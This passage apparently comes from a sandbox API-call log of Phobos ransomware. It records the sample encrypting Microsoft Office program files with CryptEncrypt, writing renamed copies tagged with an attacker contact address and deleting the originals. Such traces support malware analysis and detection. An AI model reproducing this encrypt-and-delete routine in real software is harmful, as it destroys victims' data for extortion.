(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0054.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0054.116] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0054.116] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0054.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0054.119] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ceb0) returned 1 [0054.119] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0054.119] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xeaa, lpOverlapped=0x0) returned 1 [0054.191] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xeb0, dwBufLen=0xeb0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xeb0) returned 1 [0054.191] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xeb0, lpOverlapped=0x0) returned 1 [0054.192] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d1f0) returned 1 [0054.192] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0054.192] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90, dwBufLen=0x90 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90) returned 1 [0054.192] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0054.192] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x142, lpOverlapped=0x0) returned 1 [0054.192] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0054.192] CloseHandle (hObject=0x318) returned 1 [0054.192] CloseHandle (hObject=0x2e4) returned 1 [0054.193] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 1 [0054.194] SetEvent (hEvent=0x2e8) returned 1 [0054.194] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0054.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0054.194] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=1261) returned 1 [0054.194] CloseHandle (hObject=0x2e4) returned 1 [0054.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 0x220 [0054.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0054.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0054.195] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0054.195] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0054.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0054.195] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cb30) returned 1 [0054.195] CryptSetKeyParam (hKey=0x10cb30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0054.195] ReadFile (in: hFile=0x2e4, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x4ed, lpOverlapped=0x0) returned 1 [0054.202] CryptEncrypt (in: hKey=0x10cb30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x4f0) returned 1 [0054.202] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x4f0, lpOverlapped=0x0) returned 1 [0054.202] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cdf0) returned 1 [0054.202] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0054.203] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90, dwBufLen=0x90 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90) returned 1 [0054.203] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0054.203] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x142, lpOverlapped=0x0) returned 1 [0054.203] CryptDestroyKey (hKey=0x10cb30) returned 1 [0054.203] CloseHandle (hObject=0x2e4) returned 1 [0054.203] CloseHandle (hObject=0x318) returned 1 [0054.203] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 1 [0054.204] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0054.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0054.205] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=527958) returned 1 [0054.205] CloseHandle (hObject=0x318) returned 1 [0054.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 0x220 [0054.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0054.205] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0054.205] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0054.205] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0054.205] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0054.205] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ccb0) returned 1 [0054.205] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0054.205] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x80e56, lpOverlapped=0x0) returned 1 [0054.279] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x80e60, dwBufLen=0x80e60 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x80e60) returned 1 [0054.279] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x80e60, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x80e60, lpOverlapped=0x0) returned 1 [0054.287] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d1b0) returned 1 [0054.287] CryptSetKeyParam (hKey=0x10d1b0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0054.287] CryptEncrypt (in: hKey=0x10d1b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90, dwBufLen=0x90 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x90) returned 1 [0054.287] CryptDestroyKey (hKey=0x10d1b0) returned 1 [0054.287] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x142, lpOverlapped=0x0) returned 1 [0054.287] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0054.287] CloseHandle (hObject=0x318) returned 1 [0054.287] CloseHandle (hObject=0x2e4) returned 1 [0054.296] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 1 [0054.300] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0054.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0054.300] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=2173046) returned 1 [0054.300] CloseHandle (hObject=0x2e4) returned 1 [0054.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml")) returned 0x220 [0054.301] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 1 [0054.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0054.301] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb18 | out: lpNewFilePointer=0x0) returned 1 [0054.301] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb18 | out: lpNewFilePointer=0x0) returned 1 [0054.301] ReadFile (in: hFile=0x2e4, lpBuffer=0x31c3058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fb24, lpOverlapped=0x0 | out: lpBuffer=0x31c3058*, lpNumberOfBytesRead=0x2e5fb24*=0x40000, lpOverlapped=0x0) returned 1 [0054.317] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb18 | out: lpNewFilePointer=0x0) returned 1 [0054.317] ReadFile (in: hFile=0x2e4, lpBuffer=0x3203058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fb24, lpOverlapped=0x0 | out: lpBuffer=0x3203058*, lpNumberOfBytesRead=0x2e5fb24*=0x40000, lpOverlapped=0x0) returned 1 [0054.341] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb18 | out: lpNewFilePointer=0x0) returned 1 [0054.341] ReadFile (in: hFile=0x2e4, lpBuffer=0x3243058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fb24, lpOverlapped=0x0 | out: lpBuffer=0x3243058*, lpNumberOfBytesRead=0x2e5fb24*=0x40000, lpOverlapped=0x0) returned 1 [0054.367] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb74 | out: phKey=0x2e5fb74*=0x10cab0) returned 1 [0055.045] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0055.045] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb28*=0xc0070, dwBufLen=0xc0070 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb28*=0xc0070) returned 1 [0055.050] CryptDestroyKey (hKey=0x10cab0) returned 1 [0055.051] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb50 | out: lpNewFilePointer=0x0) returned 1 [0055.066] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xc0122, lpNumberOfBytesWritten=0x2e5fb60, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb60*=0xc0122, lpOverlapped=0x0) returned 1 [0055.080] SetEndOfFile (hFile=0x2e4) returned 1 [0055.080] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb20 | out: lpNewFilePointer=0x0) returned 1 [0055.080] WriteFile (in: hFile=0x2e4, lpBuffer=0x328315a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fb2c, lpOverlapped=0x0 | out: lpBuffer=0x328315a*, lpNumberOfBytesWritten=0x2e5fb2c*=0x40000, lpOverlapped=0x0) returned 1 [0055.081] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb20 | out: lpNewFilePointer=0x0) returned 1 [0055.082] WriteFile (in: hFile=0x2e4, lpBuffer=0x328315a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fb2c, lpOverlapped=0x0 | out: lpBuffer=0x328315a*, lpNumberOfBytesWritten=0x2e5fb2c*=0x40000, lpOverlapped=0x0) returned 1 [0055.084] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb20 | out: lpNewFilePointer=0x0) returned 1 [0055.084] WriteFile (in: hFile=0x2e4, lpBuffer=0x328315a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fb2c, lpOverlapped=0x0 | out: lpBuffer=0x328315a*, lpNumberOfBytesWritten=0x2e5fb2c*=0x40000, lpOverlapped=0x0) returned 1 [0055.086] CloseHandle (hObject=0x2e4) returned 1 [0055.338] SetEvent (hEvent=0x2e8) returned 1 [0055.338] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0055.338] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0055.339] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=3484) returned 1 [0055.339] CloseHandle (hObject=0x2e4) returned 1 [0055.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 0x220 [0055.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.339] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0055.339] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0055.339] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0055.339] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0055.543] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cfb0) returned 1 [0055.543] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0055.543] ReadFile (in: hFile=0x2e4, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xd9c, lpOverlapped=0x0) returned 1 [0055.604] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xda0, dwBufLen=0xda0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xda0) returned 1 [0055.604] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xda0, lpOverlapped=0x0) returned 1 [0055.605] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ccb0) returned 1 [0055.605] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0055.605] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0055.605] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0055.605] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0055.605] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0055.605] CloseHandle (hObject=0x2e4) returned 1 [0055.605] CloseHandle (hObject=0x320) returned 1 [0055.606] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 1 [0055.607] SetEvent (hEvent=0x2e8) returned 1 [0055.607] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0055.607] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0055.619] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=2596) returned 1 [0055.619] CloseHandle (hObject=0x340) returned 1 [0055.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 0x220 [0055.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft 